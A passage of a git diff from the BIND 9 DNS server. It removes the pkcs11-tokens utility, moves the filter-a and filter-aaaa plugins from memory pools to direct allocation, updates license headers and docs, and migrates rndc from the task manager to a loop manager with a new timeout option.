-#include <isc/commandline.h>
-#include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/types.h>
-
-#include <pk11/pk11.h>
-#include <pk11/result.h>
-
-int
-main(int argc, char *argv[]) {
-	isc_result_t result;
-	char *lib_name = NULL;
-	int c, errflg = 0;
-	isc_mem_t *mctx = NULL;
-	pk11_context_t pctx;
-
-	while ((c = isc_commandline_parse(argc, argv, ":m:v")) != -1) {
-		switch (c) {
-		case 'm':
-			lib_name = isc_commandline_argument;
-			break;
-		case 'v':
-			pk11_verbose_init = true;
-			break;
-		case ':':
-			fprintf(stderr, "Option -%c requires an operand\n",
-				isc_commandline_option);
-			errflg++;
-			break;
-		case '?':
-		default:
-			fprintf(stderr, "Unrecognised option: -%c\n",
-				isc_commandline_option);
-			errflg++;
-		}
-	}
-
-	if (errflg) {
-		fprintf(stderr, "Usage:\n");
-		fprintf(stderr, "\tpkcs11-tokens [-v] [-m module]\n");
-		exit(1);
-	}
-
-	isc_mem_create(&mctx);
-
-	pk11_result_register();
-
-	/* Initialize the CRYPTOKI library */
-	if (lib_name != NULL) {
-		pk11_set_lib_name(lib_name);
-	}
-
-	result = pk11_get_session(&pctx, OP_ANY, true, false, false, NULL, 0);
-	if (result == PK11_R_NORANDOMSERVICE ||
-	    result == PK11_R_NODIGESTSERVICE || result == PK11_R_NOAESSERVICE)
-	{
-		fprintf(stderr, "Warning: %s\n", isc_result_totext(result));
-		fprintf(stderr, "This HSM will not work with BIND 9 "
-				"using native PKCS#11.\n\n");
-	} else if ((result != ISC_R_SUCCESS) && (result != ISC_R_NOTFOUND)) {
-		fprintf(stderr,
-			"Unrecoverable error initializing "
-			"PKCS#11: %s\n",
-			isc_result_totext(result));
-		exit(1);
-	}
-
-	pk11_dump_tokens();
-
-	if (pctx.handle != NULL) {
-		pk11_return_session(&pctx);
-	}
-	(void)pk11_finalize();
-
-	isc_mem_destroy(&mctx);
-
-	exit(0);
-}
diff --git a/bin/pkcs11/pkcs11-tokens.rst b/bin/pkcs11/pkcs11-tokens.rst
deleted file mode 100644
index 4cb89a5395..0000000000
--- a/bin/pkcs11/pkcs11-tokens.rst
+++ /dev/null
@@ -1,53 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-
-.. highlight: console
-
-.. _man_pkcs11-tokens:
-
-pkcs11-tokens - list PKCS#11 available tokens
----------------------------------------------
-
-Synopsis
-~~~~~~~~
-
-:program:`pkcs11-tokens` [**-m** module] [**-v**]
-
-Description
-~~~~~~~~~~~
-
-``pkcs11-tokens`` lists the PKCS#11 available tokens with defaults from
-the slot/token scan performed at application initialization.
-
-Options
-~~~~~~~
-
-``-m module``
-   This option specifies the PKCS#11 provider module. This must be the full path to a
-   shared library object implementing the PKCS#11 API for the device.
-
-``-v``
-   This option makes the PKCS#11 libisc initialization verbose.
-
-See Also
-~~~~~~~~
-
-:manpage:`pkcs11-destroy(8)`, :manpage:`pkcs11-keygen(8)`, :manpage:`pkcs11-list(8)`
diff --git a/bin/plugins/filter-a.c b/bin/plugins/filter-a.c
index 4361e975f5..9ee1e9f374 100644
--- a/bin/plugins/filter-a.c
+++ b/bin/plugins/filter-a.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,7 +22,6 @@
 #include <isc/buffer.h>
 #include <isc/hash.h>
 #include <isc/ht.h>
-#include <isc/lib.h>
 #include <isc/log.h>
 #include <isc/mem.h>
 #include <isc/netaddr.h>
@@ -34,7 +35,6 @@
 #include <dns/log.h>
 #include <dns/message.h>
 #include <dns/rdataset.h>
-#include <dns/result.h>
 #include <dns/types.h>
 #include <dns/view.h>
 
@@ -77,12 +77,6 @@ typedef struct filter_instance {
 	ns_plugin_t *module;
 	isc_mem_t *mctx;
 
-	/*
-	 * Memory pool for use with persistent data.
-	 */
-	isc_mempool_t *datapool;
-	isc_mutex_t plock;
-
 	/*
 	 * Hash table associating a client object with its persistent data.
 	 */
@@ -336,7 +330,7 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 		unsigned long cfg_line, isc_mem_t *mctx, isc_log_t *lctx,
 		void *actx, ns_hooktable_t *hooktable, void **instp) {
 	filter_instance_t *inst = NULL;
-	isc_result_t result;
+	isc_result_t result = ISC_R_SUCCESS;
 
 	isc_log_write(lctx, NS_LOGCATEGORY_GENERAL, NS_LOGMODULE_HOOKS,
 		      ISC_LOG_INFO,
@@ -345,7 +339,7 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 		      cfg_file, cfg_line, parameters != NULL ? "with" : "no");
 
 	inst = isc_mem_get(mctx, sizeof(*inst));
-	memset(inst, 0, sizeof(*inst));
+	*inst = (filter_instance_t){ 0 };
 	isc_mem_attach(mctx, &inst->mctx);
 
 	if (parameters != NULL) {
@@ -353,25 +347,9 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 				       cfg_line, mctx, lctx, actx));
 	}
 
-	isc_mempool_create(mctx, sizeof(filter_data_t), &inst->datapool);
-	CHECK(isc_ht_init(&inst->ht, mctx, 16));
+	isc_ht_init(&inst->ht, mctx, 1, ISC_HT_CASE_SENSITIVE);
 	isc_mutex_init(&inst->hlock);
 
-	/*
-	 * Fill the mempool with 1K filter_a state objects at
-	 * a time; ideally after a single allocation, the mempool will
-	 * have enough to handle all the simultaneous queries the system
-	 * requires and it won't be necessary to allocate more.
-	 *
-	 * We don't set any limit on the number of free state objects
-	 * so that they'll always be returned to the pool and not
-	 * freed until the pool is destroyed on shutdown.
-	 */
-	isc_mempool_setfillcount(inst->datapool, 1024);
-	isc_mempool_setfreemax(inst->datapool, UINT_MAX);
-	isc_mutex_init(&inst->plock);
-	isc_mempool_associatelock(inst->datapool, &inst->plock);
-
 	/*
 	 * Set hook points in the view's hooktable.
 	 */
@@ -380,7 +358,7 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 	*instp = inst;
 
 cleanup:
-	if (result != ISC_R_SUCCESS && inst != NULL) {
+	if (result != ISC_R_SUCCESS) {
 		plugin_destroy((void **)&inst);
 	}
 
@@ -427,10 +405,6 @@ plugin_destroy(void **instp) {
 		isc_ht_destroy(&inst->ht);
 		isc_mutex_destroy(&inst->hlock);
 	}
-	if (inst->datapool != NULL) {
-		isc_mempool_destroy(&inst->datapool);
-		isc_mutex_destroy(&inst->plock);
-	}
 	if (inst->a_acl != NULL) {
 		dns_acl_detach(&inst->a_acl);
 	}
@@ -512,10 +486,7 @@ client_state_create(const query_ctx_t *qctx, filter_instance_t *inst) {
 	filter_data_t *client_state;
 	isc_result_t result;
 
-	client_state = isc_mempool_get(inst->datapool);
-	if (client_state == NULL) {
-		return;
-	}
+	client_state = isc_mem_get(inst->mctx, sizeof(*client_state));
 
 	client_state->mode = NONE;
 	client_state->flags = 0;
@@ -542,7 +513,7 @@ client_state_destroy(const query_ctx_t *qctx, filter_instance_t *inst) {
 	UNLOCK(&inst->hlock);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
-	isc_mempool_put(inst->datapool, client_state);
+	isc_mem_put(inst->mctx, client_state, sizeof(*client_state));
 }
 
 /*%
@@ -648,7 +619,8 @@ process_section(const section_filter_t *filter) {
 		}
 
 		if (section == DNS_SECTION_ANSWER ||
-		    section == DNS_SECTION_AUTHORITY) {
+		    section == DNS_SECTION_AUTHORITY)
+		{
 			message->flags &= ~DNS_MESSAGEFLAG_AD;
 		}
 	}
@@ -698,7 +670,8 @@ filter_prep_response_begin(void *arg, void *cbdata, isc_result_t *resp) {
 		result = ns_client_checkaclsilent(qctx->client, NULL,
 						  inst->a_acl, true);
 		if (result == ISC_R_SUCCESS && inst->v4_a != NONE &&
-		    is_v4_client(qctx->client)) {
+		    is_v4_client(qctx->client))
+		{
 			client_state->mode = inst->v4_a;
 		} else if (result == ISC_R_SUCCESS && inst->v6_a != NONE &&
 			   is_v6_client(qctx->client))
diff --git a/bin/plugins/filter-a.rst b/bin/plugins/filter-a.rst
index 58c4c4ccd0..16b3deea80 100644
--- a/bin/plugins/filter-a.rst
+++ b/bin/plugins/filter-a.rst
@@ -1,26 +1,17 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: filter-a
 .. _man_filter-a:
 
 filter-a.so - filter A in DNS responses when AAAA is present
@@ -34,14 +25,14 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``filter-a.so`` is a query plugin module for ``named``, enabling
-``named`` to omit some IPv4 addresses when responding to clients.
+:program:`filter-a.so` is a query plugin module for :iscman:`named`, enabling
+:iscman:`named` to omit some IPv4 addresses when responding to clients.
 
 For example:
 
 ::
 
-   plugin query "/usr/local/lib/filter-a.so" {
+   plugin query "filter-a.so" {
            filter-a-on-v6 yes;
            filter-a-on-v4 yes;
            filter-a { 192.0.2.1; 2001:db8:2::1; };
diff --git a/bin/plugins/filter-aaaa.c b/bin/plugins/filter-aaaa.c
index f530b596ad..9830639938 100644
--- a/bin/plugins/filter-aaaa.c
+++ b/bin/plugins/filter-aaaa.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,7 +22,6 @@
 #include <isc/buffer.h>
 #include <isc/hash.h>
 #include <isc/ht.h>
-#include <isc/lib.h>
 #include <isc/log.h>
 #include <isc/mem.h>
 #include <isc/netaddr.h>
@@ -34,7 +35,6 @@
 #include <dns/log.h>
 #include <dns/message.h>
 #include <dns/rdataset.h>
-#include <dns/result.h>
 #include <dns/types.h>
 #include <dns/view.h>
 
@@ -77,12 +77,6 @@ typedef struct filter_instance {
 	ns_plugin_t *module;
 	isc_mem_t *mctx;
 
-	/*
-	 * Memory pool for use with persistent data.
-	 */
-	isc_mempool_t *datapool;
-	isc_mutex_t plock;
-
 	/*
 	 * Hash table associating a client object with its persistent data.
 	 */
@@ -339,7 +333,7 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 		unsigned long cfg_line, isc_mem_t *mctx, isc_log_t *lctx,
 		void *actx, ns_hooktable_t *hooktable, void **instp) {
 	filter_instance_t *inst = NULL;
-	isc_result_t result;
+	isc_result_t result = ISC_R_SUCCESS;
 
 	isc_log_write(lctx, NS_LOGCATEGORY_GENERAL, NS_LOGMODULE_HOOKS,
 		      ISC_LOG_INFO,
@@ -348,7 +342,8 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 		      cfg_file, cfg_line, parameters != NULL ? "with" : "no");
 
 	inst = isc_mem_get(mctx, sizeof(*inst));
-	memset(inst, 0, sizeof(*inst));
+	*inst = (filter_instance_t){ 0 };
+
 	isc_mem_attach(mctx, &inst->mctx);
 
 	if (parameters != NULL) {
@@ -356,25 +351,9 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 				       cfg_line, mctx, lctx, actx));
 	}
 
-	isc_mempool_create(mctx, sizeof(filter_data_t), &inst->datapool);
-	CHECK(isc_ht_init(&inst->ht, mctx, 16));
+	isc_ht_init(&inst->ht, mctx, 1, ISC_HT_CASE_SENSITIVE);
 	isc_mutex_init(&inst->hlock);
 
-	/*
-	 * Fill the mempool with 1K filter_aaaa state objects at
-	 * a time; ideally after a single allocation, the mempool will
-	 * have enough to handle all the simultaneous queries the system
-	 * requires and it won't be necessary to allocate more.
-	 *
-	 * We don't set any limit on the number of free state objects
-	 * so that they'll always be returned to the pool and not
-	 * freed until the pool is destroyed on shutdown.
-	 */
-	isc_mempool_setfillcount(inst->datapool, 1024);
-	isc_mempool_setfreemax(inst->datapool, UINT_MAX);
-	isc_mutex_init(&inst->plock);
-	isc_mempool_associatelock(inst->datapool, &inst->plock);
-
 	/*
 	 * Set hook points in the view's hooktable.
 	 */
@@ -383,7 +362,7 @@ plugin_register(const char *parameters, const void *cfg, const char *cfg_file,
 	*instp = inst;
 
 cleanup:
-	if (result != ISC_R_SUCCESS && inst != NULL) {
+	if (result != ISC_R_SUCCESS) {
 		plugin_destroy((void **)&inst);
 	}
 
@@ -430,10 +409,6 @@ plugin_destroy(void **instp) {
 		isc_ht_destroy(&inst->ht);
 		isc_mutex_destroy(&inst->hlock);
 	}
-	if (inst->datapool != NULL) {
-		isc_mempool_destroy(&inst->datapool);
-		isc_mutex_destroy(&inst->plock);
-	}
 	if (inst->aaaa_acl != NULL) {
 		dns_acl_detach(&inst->aaaa_acl);
 	}
@@ -515,10 +490,7 @@ client_state_create(const query_ctx_t *qctx, filter_instance_t *inst) {
 	filter_data_t *client_state;
 	isc_result_t result;
 
-	client_state = isc_mempool_get(inst->datapool);
-	if (client_state == NULL) {
-		return;
-	}
+	client_state = isc_mem_get(inst->mctx, sizeof(*client_state));
 
 	client_state->mode = NONE;
 	client_state->flags = 0;
@@ -545,7 +517,7 @@ client_state_destroy(const query_ctx_t *qctx, filter_instance_t *inst) {
 	UNLOCK(&inst->hlock);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
-	isc_mempool_put(inst->datapool, client_state);
+	isc_mem_put(inst->mctx, client_state, sizeof(*client_state));
 }
 
 /*%
@@ -651,7 +623,8 @@ process_section(const section_filter_t *filter) {
 		}
 
 		if (section == DNS_SECTION_ANSWER ||
-		    section == DNS_SECTION_AUTHORITY) {
+		    section == DNS_SECTION_AUTHORITY)
+		{
 			message->flags &= ~DNS_MESSAGEFLAG_AD;
 		}
 	}
diff --git a/bin/plugins/filter-aaaa.rst b/bin/plugins/filter-aaaa.rst
index 98d8c1e744..89904da741 100644
--- a/bin/plugins/filter-aaaa.rst
+++ b/bin/plugins/filter-aaaa.rst
@@ -1,26 +1,17 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: filter-aaaa
 .. _man_filter-aaaa:
 
 filter-aaaa.so - filter AAAA in DNS responses when A is present
@@ -34,18 +25,18 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``filter-aaaa.so`` is a query plugin module for ``named``, enabling
-``named`` to omit some IPv6 addresses when responding to clients.
+:program:`filter-aaaa.so` is a query plugin module for :iscman:`named`, enabling
+:iscman:`named` to omit some IPv6 addresses when responding to clients.
 
-Until BIND 9.12, this feature was implemented natively in ``named`` and
+Until BIND 9.12, this feature was implemented natively in :iscman:`named` and
 enabled with the ``filter-aaaa`` ACL and the ``filter-aaaa-on-v4`` and
-``filter-aaaa-on-v6`` options. These options are now deprecated in
-``named.conf`` but can be passed as parameters to the
+``filter-aaaa-on-v6`` options. These options are no longer available in
+:iscman:`named.conf` but can be passed as parameters to the
 ``filter-aaaa.so`` plugin, for example:
 
 ::
 
-   plugin query "/usr/local/lib/filter-aaaa.so" {
+   plugin query "filter-aaaa.so" {
            filter-aaaa-on-v4 yes;
            filter-aaaa-on-v6 yes;
            filter-aaaa { 192.0.2.1; 2001:db8:2::1; };
diff --git a/bin/rndc/Makefile.am b/bin/rndc/Makefile.am
index a668522bc2..f8f0ac96d5 100644
--- a/bin/rndc/Makefile.am
+++ b/bin/rndc/Makefile.am
@@ -4,8 +4,7 @@ AM_CPPFLAGS +=			\
 	$(LIBISC_CFLAGS)	\
 	$(LIBDNS_CFLAGS)	\
 	$(LIBISCCFG_CFLAGS)	\
-	$(LIBISCCC_CFLAGS)	\
-	$(LIBBIND9_CFLAGS)
+	$(LIBISCCC_CFLAGS)
 
 AM_CPPFLAGS +=						\
 	-DRNDC_CONFFILE=\"${sysconfdir}/rndc.conf\"	\
@@ -22,5 +21,4 @@ rndc_LDADD =			\
 	$(LIBISC_LIBS)		\
 	$(LIBDNS_LIBS)		\
 	$(LIBISCCC_LIBS)	\
-	$(LIBISCCFG_LIBS)	\
-	$(LIBBIND9_LIBS)
+	$(LIBISCCFG_LIBS)
diff --git a/bin/rndc/rndc.c b/bin/rndc/rndc.c
index 97b182999f..6e8261c784 100644
--- a/bin/rndc/rndc.c
+++ b/bin/rndc/rndc.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,54 +17,47 @@
 #include <stdbool.h>
 #include <stdlib.h>
 
-#include <isc/app.h>
-#include <isc/atomic.h>
 #include <isc/attributes.h>
 #include <isc/buffer.h>
 #include <isc/commandline.h>
 #include <isc/file.h>
+#include <isc/getaddresses.h>
 #include <isc/log.h>
+#include <isc/loop.h>
 #include <isc/managers.h>
 #include <isc/mem.h>
 #include <isc/net.h>
 #include <isc/netmgr.h>
-#include <isc/print.h>
 #include <isc/random.h>
 #include <isc/refcount.h>
-#include <isc/socket.h>
+#include <isc/result.h>
 #include <isc/stdtime.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/thread.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/name.h>
 
 #include <isccc/alist.h>
 #include <isccc/base64.h>
 #include <isccc/cc.h>
 #include <isccc/ccmsg.h>
-#include <isccc/result.h>
 #include <isccc/sexpr.h>
 #include <isccc/types.h>
 #include <isccc/util.h>
 
 #include <isccfg/namedconf.h>
 
-#include <bind9/getaddresses.h>
-
 #include "util.h"
 
-#define SERVERADDRS 10
+#define SERVERADDRS  10
+#define RNDC_TIMEOUT 60 * 1000
 
 const char *progname = NULL;
 bool verbose;
 
 static isc_nm_t *netmgr = NULL;
-static isc_taskmgr_t *taskmgr = NULL;
-static isc_task_t *rndc_task = NULL;
+static isc_loopmgr_t *loopmgr = NULL;
 
 static const char *admin_conffile = NULL;
 static const char *admin_keyfile = NULL;
@@ -81,23 +76,18 @@ static isccc_region_t secret;
 static bool failed = false;
 static bool c_flag = false;
 static isc_mem_t *rndc_mctx = NULL;
-static atomic_uint_fast32_t sends = ATOMIC_VAR_INIT(0);
-static atomic_uint_fast32_t recvs = ATOMIC_VAR_INIT(0);
-static atomic_uint_fast32_t connects = ATOMIC_VAR_INIT(0);
 static char *command = NULL;
 static char *args = NULL;
 static char program[256];
 static uint32_t serial;
 static bool quiet = false;
 static bool showresult = false;
-static bool shuttingdown = false;
-static isc_nmhandle_t *recvdone_handle = NULL;
-static isc_nmhandle_t *recvnonce_handle = NULL;
+static int32_t timeout = RNDC_TIMEOUT;
 
 static void
 rndc_startconnect(isc_sockaddr_t *addr);
 
-ISC_NORETURN static void
+noreturn static void
 usage(int status);
 
 static void
@@ -126,7 +116,7 @@ command is one of the following:\n\
 		Requires the zone to have a dnssec-policy.\n\
   dnstap -reopen\n\
 		Close, truncate and re-open the DNSTAP output file.\n\
-  dnstap -roll count\n\
+  dnstap -roll [count]\n\
 		Close, rename and re-open the DNSTAP output file(s).\n\
   dumpdb [-all|-cache|-zones|-adb|-bad|-expired|-fail] [view ...]\n\
 		Dump cache(s) to the dump file (named_dump.db).\n\
@@ -222,10 +212,6 @@ command is one of the following:\n\
 		Enable updates to a frozen dynamic zone and reload it.\n\
   trace		Increment debugging level by one.\n\
   trace level	Change the debugging level.\n\
-  tsig-delete keyname [view]\n\
-		Delete a TKEY-negotiated TSIG key.\n\
-  tsig-list	List all currently active TSIG keys, including both statically\n\
-		configured and TKEY-negotiated keys.\n\
   validation [ on | off | status ] [view]\n\
 		Enable / disable DNSSEC validation.\n\
   zonestatus zone [class [view]]\n\
@@ -237,7 +223,7 @@ Version: %s\n",
 	exit(status);
 }
 
-#define CMDLINE_FLAGS "46b:c:hk:Mmp:qrs:Vy:"
+#define CMDLINE_FLAGS "46b:c:hk:Mmp:qrs:t:Vy:"
 
 static void
 preparse_args(int argc, char **argv) {
@@ -282,7 +268,7 @@ get_addresses(const char *host, in_port_t port) {
 		}
 	} else {
 		count = SERVERADDRS - nserveraddrs;
-		result = bind9_getaddresses(
+		result = isc_getaddresses(
 			host, port, &serveraddrs[nserveraddrs], count, &found);
 		nserveraddrs += found;
 	}
@@ -294,44 +280,26 @@ get_addresses(const char *host, in_port_t port) {
 }
 
 static void
-rndc_senddone(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
-	isc_nmhandle_t *sendhandle = (isc_nmhandle_t *)arg;
-
+rndc_senddone(isc_nmhandle_t *handle ISC_ATTR_UNUSED, isc_result_t result,
+	      void *arg ISC_ATTR_UNUSED) {
 	if (result != ISC_R_SUCCESS) {
 		fatal("send failed: %s", isc_result_totext(result));
 	}
-
-	REQUIRE(sendhandle == handle);
-	isc_nmhandle_detach(&sendhandle);
-
-	if (atomic_fetch_sub_release(&sends, 1) == 1 &&
-	    atomic_load_acquire(&recvs) == 0)
-	{
-		shuttingdown = true;
-		isc_task_shutdown(rndc_task);
-		isc_app_shutdown();
-	}
 }
 
 static void
 rndc_recvdone(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 	isccc_ccmsg_t *ccmsg = (isccc_ccmsg_t *)arg;
 	isccc_sexpr_t *response = NULL;
-	isccc_sexpr_t *data;
+	isccc_sexpr_t *data = NULL;
 	isccc_region_t source;
 	char *errormsg = NULL;
 	char *textmsg = NULL;
 
+	REQUIRE(handle != NULL);
 	REQUIRE(ccmsg != NULL);
 
-	if (shuttingdown && (result == ISC_R_EOF || result == ISC_R_CANCELED)) {
-		atomic_fetch_sub_release(&recvs, 1);
-		if (handle != NULL) {
-			REQUIRE(recvdone_handle == handle);
-			isc_nmhandle_detach(&recvdone_handle);
-		}
-		return;
-	} else if (result == ISC_R_EOF) {
+	if (result == ISC_R_EOF) {
 		fatal("connection to remote host closed.\n"
 		      "* This may indicate that the\n"
 		      "* remote server is using an older\n"
@@ -340,7 +308,7 @@ rndc_recvdone(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 		      "* the clocks are not synchronized,\n"
 		      "* the key signing algorithm is incorrect,\n"
 		      "* or the key is invalid.");
-	} else if (result != ISC_R_SUCCESS && result != ISC_R_CANCELED) {
+	} else if (result != ISC_R_SUCCESS) {
 		fatal("recv failed: %s", isc_result_totext(result));
 	}
 
@@ -387,42 +355,27 @@ rndc_recvdone(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 
 	isccc_sexpr_free(&response);
 
-	REQUIRE(recvdone_handle == handle);
-	isc_nmhandle_detach(&recvdone_handle);
-
-	if (atomic_load_acquire(&sends) == 0 &&
-	    atomic_fetch_sub_release(&recvs, 1) == 1)
-	{
-		shuttingdown = true;
-		isc_task_shutdown(rndc_task);
-		isc_app_shutdown();
-	}
+	isccc_ccmsg_invalidate(ccmsg);
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 static void
-rndc_recvnonce(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
+rndc_recvnonce(isc_nmhandle_t *handle ISC_ATTR_UNUSED, isc_result_t result,
+	       void *arg) {
 	isccc_ccmsg_t *ccmsg = (isccc_ccmsg_t *)arg;
 	isccc_sexpr_t *response = NULL;
-	isc_nmhandle_t *sendhandle = NULL;
 	isccc_sexpr_t *_ctrl = NULL;
 	isccc_region_t source;
 	uint32_t nonce;
 	isccc_sexpr_t *request = NULL;
-	isccc_time_t now;
+	isccc_time_t now = isc_stdtime_now();
 	isc_region_t r;
 	isccc_sexpr_t *data = NULL;
 	isc_buffer_t b;
 
 	REQUIRE(ccmsg != NULL);
 
-	if (shuttingdown && result == ISC_R_EOF) {
-		atomic_fetch_sub_release(&recvs, 1);
-		if (handle != NULL) {
-			REQUIRE(recvnonce_handle == handle);
-			isc_nmhandle_detach(&recvnonce_handle);
-		}
-		return;
-	} else if (result == ISC_R_EOF) {
+	if (result == ISC_R_EOF) {
 		fatal("connection to remote host closed.\n"
 		      "* This may indicate that the\n"
 		      "* remote server is using an older\n"
@@ -450,8 +403,6 @@ rndc_recvnonce(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 		nonce = 0;
 	}
 
-	isc_stdtime_get(&now);
-
 	DO("create message", isccc_cc_createmessage(1, NULL, NULL, ++serial,
 						    now, now + 60, &request));
 	data = isccc_alist_lookup(request, "_data");
@@ -484,17 +435,8 @@ rndc_recvnonce(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 	r.base = databuf->base;
 	r.length = databuf->used;
 
-	isc_nmhandle_attach(handle, &recvdone_handle);
-	atomic_fetch_add_relaxed(&recvs, 1);
 	isccc_ccmsg_readmessage(ccmsg, rndc_recvdone, ccmsg);
-
-	isc_nmhandle_attach(handle, &sendhandle);
-	atomic_fetch_add_relaxed(&sends, 1);
-	isc_nm_send(handle, &r, rndc_senddone, sendhandle);
-
-	REQUIRE(recvnonce_handle == handle);
-	isc_nmhandle_detach(&recvnonce_handle);
-	atomic_fetch_sub_release(&recvs, 1);
+	isccc_ccmsg_sendmessage(ccmsg, &r, rndc_senddone, NULL);
 
 	isccc_sexpr_free(&response);
 	isccc_sexpr_free(&request);
@@ -507,16 +449,13 @@ rndc_connected(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 	char socktext[ISC_SOCKADDR_FORMATSIZE];
 	isccc_sexpr_t *request = NULL;
 	isccc_sexpr_t *data = NULL;
-	isccc_time_t now;
+	isccc_time_t now = isc_stdtime_now();
 	isc_region_t r;
 	isc_buffer_t b;
-	isc_nmhandle_t *connhandle = NULL;
-	isc_nmhandle_t *sendhandle = NULL;
 
 	REQUIRE(ccmsg != NULL);
 
 	if (result != ISC_R_SUCCESS) {
-		atomic_fetch_sub_release(&connects, 1);
 		isc_sockaddr_format(&serveraddrs[currentaddr], socktext,
 				    sizeof(socktext));
 		if (++currentaddr < nserveraddrs) {
@@ -530,9 +469,6 @@ rndc_connected(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 		      isc_result_totext(result));
 	}
 
-	isc_nmhandle_attach(handle, &connhandle);
-
-	isc_stdtime_get(&now);
 	DO("create message", isccc_cc_createmessage(1, NULL, NULL, ++serial,
 						    now, now + 60, &request));
 	data = isccc_alist_lookup(request, "_data");
@@ -556,19 +492,12 @@ rndc_connected(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 	r.base = databuf->base;
 	r.length = databuf->used;
 
+	/* isccc_ccmsg_init() attaches to the handle */
 	isccc_ccmsg_init(rndc_mctx, handle, ccmsg);
 	isccc_ccmsg_setmaxsize(ccmsg, 1024 * 1024);
 
-	isc_nmhandle_attach(handle, &recvnonce_handle);
-	atomic_fetch_add_relaxed(&recvs, 1);
 	isccc_ccmsg_readmessage(ccmsg, rndc_recvnonce, ccmsg);
-
-	isc_nmhandle_attach(handle, &sendhandle);
-	atomic_fetch_add_relaxed(&sends, 1);
-	isc_nm_send(handle, &r, rndc_senddone, sendhandle);
-
-	isc_nmhandle_detach(&connhandle);
-	atomic_fetch_sub_release(&connects, 1);
+	isccc_ccmsg_sendmessage(ccmsg, &r, rndc_senddone, NULL);
 
